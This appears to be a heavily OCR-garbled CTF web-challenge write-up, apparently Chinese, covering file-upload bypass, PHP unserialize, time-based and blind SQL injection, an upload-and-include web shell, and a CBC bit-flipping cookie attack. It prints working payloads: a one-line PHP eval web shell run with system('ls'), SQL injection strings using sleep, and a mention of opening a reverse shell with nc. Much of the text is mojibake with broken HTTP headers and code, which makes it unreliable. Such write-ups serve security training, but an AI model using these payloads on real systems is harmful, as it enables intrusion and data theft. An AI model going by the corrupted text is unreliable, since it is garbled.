Connection: close Hy name is margin,give me a image file not a php<br=
Upgrade-Insecure-Requests: 1 <br=
<input type="file" name="file" id="file" /=
- --21452903801982016093222251034 <input type="submit" name="submit" wvalue="Submit" /=
Content-Disposition: form-data; name="file"; filename="{flag.phpS!" =/form=
Content-Type: image/png
23333 KEY{bb35dc123820e}

----------------------------- 21452903801982016093222251034
Content-Disposition: form-data; name="submit"

Submit
————————————————————————————— 21452903801 98201 6093222251034 -

{bb35dc123820e}

flag.php
WNTUWEEH, REAEAIHLE 1. RorhintfF2BREH.. RERA

http://120.24.86.145:8002/flagphp/?hint

USRS ? WEANMFRNFAZNERIRARZEmM? ? ?
(EEIN AR



—FFIE LA R ISecerwww. isecer.com RIFFIML—THTEET, HEAFAAHR. . REHE—T, RIX/NSKEYRRE
RN, FrUEIT B E N R R e, B4 LmIRFIRETE? 2 7 ?
F| F burp 38 j5 i _E CookiefE B 7]

Cookie

{unserialize by virink}

web15

HAREEBIRG




BREMEAEE, HIEERANEEE, AMEEENEQFERETLRD (BB RERZEinsertd)

WA LR TS R IR T AN ' + (select case when (substring((select flag
}y from 1 for 1)='f') then sleep(5) else 1 end) and '1'="1§K
Query OK, 1 row affected (5.81 sec)

mysql> |

AR 45 S 56 B i 157 B8 1K E N TT DA A case when......then 1315 4)
IR 5 I A SR A P
XA FEAERKE FEA, REEREX
http://blog.csdn.net/qq_35078631/article/details/54773769

RERUGNHANTT, HRBEBRRH2AEET, EIRERIERESBKNEEER.


http://blog.csdn.net/qq_35078631/article/details/54773769

requests.

{cdbf14c9551d5be56121f7bb5d2867853}

XHEE2

HARHEANSE, F12K3 T JEEH A upload.phpii H./upload/ml i, F—F G A XM L%, EHLE2BE WRRECHEEW! mHh
7ENetwork F £ 3] 7 x4

¥ Response Headers view source
Content-Encoding: gzip
Content-Length: 905
Content-Type: text/himl; charset=UTF-8
Date: Tue, 08 Aug 2017 07:46:05 GMT
Keep-Alive: timeout=38
Server: Apache/2.4.10 (Debian)
Tip: &#105;8#110 ;6499 ;64108 ;#117; 5#100; L4101 ; &#46; &#112 ;64104 ; &#112
Vary: Accept-Encoding

WEAMip#E S kB2 include.php BEATMIZB XA EEZER—TF
SRR T —HWHEOLRIREINANVEN. . [BH b4 5 B, .
FEEAFADND (B EHFEFHITMMERS, BESHRAZETD
RITIET <2php R 2> iX B HBER ST ik




= L L L L = L L L
POST /index.php?file-upload.php HTTP/ L.l P HTTP/ 1.l 200 OK

Host: 47.93.190.246:491€6¢ r Date: Tue, 05 Sep 2017 13:21:42 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:55.0) Gecko/20100101 Firefox/55.0 Server: Apache/2.4.10 (Debian)
Accepr: texc/html,application/xhtml+xml, applicacion/xwl;q=0.9,*/*;q=0.8 Vary: Accept-Encoding

Accept-Language: zh-CN, zh;q=0.8,=n-US;q=0.5,=n; q=0.3
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data: boundary=

Content-Length: 211

Refersr: hretp://47.93.190.246:45166/ index.php?file=upload. php

Content-Length: 554
Keep-ilive: timeout=5, max=100
Connection: Keep-ilive

Content-Type: text/html;

1£253495014716

charset=UTF-B8

Connection: kesp-alive <!-- upload.php -->
Upgrade-Insecurs-Requests: 1 <html>
<head>
16253495014716 <meta charset="utf-8"/>
Content-Disposition: form-data; name="file": filename="111.png" <meta http-equiv="X-UA-Compatible" content="IE=edgs">

Contenc-Type: images/ipeg <meta name="viewport" content="width=device-width, initial-scale=l, max
<citle>UPLOAD</title>

</ head>

<form action="" enctype="multipart/form-data” method="post"

name="upload"s>file: <input type="file" name="file" /><hr>

<input type="submit" walue="upload" /></form>

O009pg gif png OOOO0 OOOOOOOO100EiB<:r>

file upload successful!Save in: upload/201709050121425643.png

<?=@eval (§ POST['cmd']):

W, #RJ5 Fupload.php A EELLphpiz 4T #, BT BT Z Finclude.php(index.php)H i#file 2 & K& upload B 3 T i Bl Jy S0 !

@ Load URL Ihttp:,f/zﬁ".g?:.”l90.246:491ESE’/index.J:>hp'.P1°iIne-:upload)'20170'9050”119525905.png

% Split URL

Execute

Enable Post data [_| Enable Referrer

cmd=system('ls");

N
™

Post data

about hello.php index.php this is th3 F14g 154f65sd4g35f4d6f43.txt upload upload.php

R JE BT A B AT

{uP104D_1nclud3_426fh8_is_Fun}

sqiEA2

B %2R T — TFadminfladmin, &I R~passwordi iz

POST /web2/login.php HTTP/1.1 HTTP/1.1 200 OK

| ]
Host: 120.24.86,145:8007 P Server: nginx
User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 Date: Tue, 98 Aug 2017 08:18:29 GMT

Accept: text/html,application/xhtml+xnl,application/xml ;q=0.9,%/*;q=0.5
Accept-Languzge: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content -Length: 24

Referer: http://120.24,86.145:8007/web2/index. php

Cookie: PHPSESSID=atjud3k3m4jfn29gblfrESnek8dkbh7s

Connection: close
Upgrade-Insecure-Requests: 1

uname=adnin&passwd=admin

Content-Type: text/htnl:charset=utf-&

Connection: close

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 81

<script= alert('password error!!@ @');parent.location. href='index.php'; </script=

P adminiX M usernameit & FEETS -

Wl — ¥

AN, fEusername N b '# KIRRAKIAEEZR!



HTTR/1.1 200 0K

Server: nginx

Date: Tue, 08 Aug 2017 02:20:01 GMT

Content-Type: text/html;charset=utf-&

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: &84

=script= alert('illegal character!!@_@');parent.location. href="'index.php'; =/script=

BIEN pfEusername, (HRIEIE T BRELIE? R T HEMBEFHR. . EREFEHT KF . X2 2 MFEEMTE
W1t ! DS_Store it BIHYFIGMIE? ? ?
HE4GEET, METH —1ds _store_exp.pyLE, T TRIEM

http://f1208.24. :B@@?fwebZi.ﬁS_Store
http:/f126.24. 18007 fweb2 /login. php

http://1208.24. :8007 /web2/index.php
http: //120.24, 18007 /web2 /Tlag
http://1208.24. 3 web2 /admin

R tEflag.. 23E. ..

{sql_iNJEct_comMon3600!}

HERABTARM T —T, BREMRAIT . REBE.. Frifweb@EE, FIBRMANEERE! BOAH—BHAFE! ! !

[16:31:35] Starting:

-= http://120.24.86.145:8007/web2/admin/
-> ..findex.php
-= ../index.php
-> ..findex.php
-= http://120.24.86.145:8007/web2/css/
-> http://120.24.86.145:8007 /web2/fonts/

-> http://120.24.86.145:8007 /web2/image

-= http://120.24.86.145:8007/web2/incl

-> http://120.24.86.145:8007/web2/js/

DEEHR...
login2

HAEETERNAE, ZdiRn2union, FIUASRTIREEN, AFKEKEBEERFATEARR.. KRB K E R

username

— R 1E UL T password g & username Imd5 & 8, ZEF R4 RFSI? 5HH...



=script=alert( ' login success!');parent.location. href='index.php';</script=

RIEBHEMRBR.. RIEVAREMIR T .. RN EZBEIET ... #5C...
B T B ] 4k

HiEmIE R

i N R ERRIARSS

Apache I AT

BRT ZEANMAMULR AT L PAT HE, FARANREFEEK, FrClBRRNTT U AP Kshell T, AARMNTAT UK
RishelokE, XERRYT —ER#shellfiLsy, RAERMTE TREXES, HlpupilliEHTES, FAKNCTERHE
shell, 77T

B S TE AR S5 8% b nc i Wi s O
-1 -p Ay
FEW b AR

RIEMRIRMshell iRy T ! ! ! ZJEHMRERITT

No such file or directory

bash-4.
cat flag
SKCTF{Uni@

login3

RAREESRERT, HWEWT



username

FHEEN, BUREE, REfuzz—RkKRISEERK, AFESRE, S8 T= AL, mysqillif

R JE B AP




2518 passwordf@ # G 2% 4, EhifS2lflag

51b7a76d51e70b419f60d347 3fb6f000

R |

W : 51b7a76d51e70b419f60d3473fb6fO00
Rt sketf123456

A - md5

B 1=

{bliNd_SQL_iNJEctien!}

WEHEAN
KIMRBEEN, HRSIE T —- K, RREZENTIETEHK, HERNMEMYsqlfRE, FBATRHRBMTH ! BEFE
BH!

BINiRES, AEXBEE A, BTN YE[ Hload_filelk#, HERBANMRSHELHLERKRD, REHWERD LHE
OEHSERT —TERER, BETHA, @EXFRAFEM LA MhexA 172 2 2 Z2FE TR, ..
ol vi X BREERT L ! BEECSCH B R R EF I L hex
payloadfl T

RIEIEIF, FAEEextractvaluett 5 st £ R BB E320z, ZLidhex/d MLt RS RE LB EHE K166, REEAI?
HL RIXAN R RN T, BRBOCH AR A4 R, B AIRATAN G F strsub B BUE R IR !

RIEMRBEERMBZHIKE M T ! BEREXHFNT

fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafasohfdsg9Flag:

B 3flag, FLRFE! EHI, flagltXEMR...

Flag:

logind

R R cbe T R, RANZHT—HEME, MAFTI—T
HARAMB I, KISCHME



[09:07:23] Starting:

TR T vimkE — T 152

$(document) .ready(
$( ) .focus(
$( ).css(
s
$( ).blur(
$( ).css(
s
$( ) .focus(
$( ).css(
s
$( ).blur(
$( ).css(
s
s

=1l2=

0
O{

($1=0;$i<16;$1i++){
.=chr(rand(’, ));
}
}
{
= get_random_iv();
= serialize( );
= openssl_encrypt( , METHOD, SECRET_KEY, OPENSSL_RAW _DATA, );
[ 1= [ 1
setcookie( , base64 encode( ));
setcookie( , base64 encode( ))s
¥
{
[ 1) &&
= base64_decode( [
= base64_decode( [ 1
= openssl_decrypt( » METHOD, SECRET_KEY, OPENSSL_RAW_DATA, {

unserialize( ) ¢ .base64_encode( ).




1) &
(string)
(string)

=>

login( )

show_homepage();
}
¥ {
[ 1A
check_login();
show_homepage();

jielsey

HEKcbew T RER L, MERHT REMBAKCBC, FARMNFEBRMP AL B, REZBSEE M SN
m, FHEABSNVERIR, X BB R K CBCHE R MAES I F




RIERATZ A

RIERE—HH

username

#ATEH B 5/ phpfB 2ISLFR RS 2K 21

BRI FIME16N—HIT

BAVEBEEE —HRINZE RN, BAREBEE XM, BSAETT

R 5 HA145 Bl cookiefE I T




RIGERANTAT LAS BlaesfH E I SC, HMMXAIHRH X —E R IRK, ARRFIIEK, AR AR B KivisE]
iR R B R

S(document) . ready(function() {
S5(".username") .focus{function() {
5(".user-icon") .css("left" ,"-48px") ;
b
S5(" .username" ) .blur({function() {
S(".user-icon") .css("left","0px") ;

1

5(" .password") .focus({function() {
S(".pass—-icon") .css("left" ,"-48px") ;
1
5(".password") .blur(function() {
5(".pass-icon") .css("left" ,"0px") ;
b
1
</scripts
</ head>

<p>hase6d decode( ' ¥£/TTTXznECK3ApJ 50PF 0m11I]tz03 U6 ImFkbWlulitz03
g6InBhc3N3b3TkIjtz03061jIzM=zMi030=') can't wnserialize</p>

B, ®|ANE\RTEA

base64 % & iflaesf# % “BI3C", RERMNBIIKIE—T

61 ff fo 4f bd f3 9c 40 Ba dc Da 49 e6 83 c¢f 42 ayiOpsC@CUl=CAB
6d 65 22 3b T3 3a 35 3a 22 61 64 6d B9 6Be 22 3b me"s5"admin”;

73 3a 38 3a 22 70 61 73 73 77 e 72 64 22
Ja. 34 3a 22 32 33 33 33 22 3 Td - - -

(ST T A ]

RMNBIWMECLRIN T, RERABE—THHEHVET!

WA Elflag T .. 232

{CBC_wEB_cryptography_6646dfgdg6}
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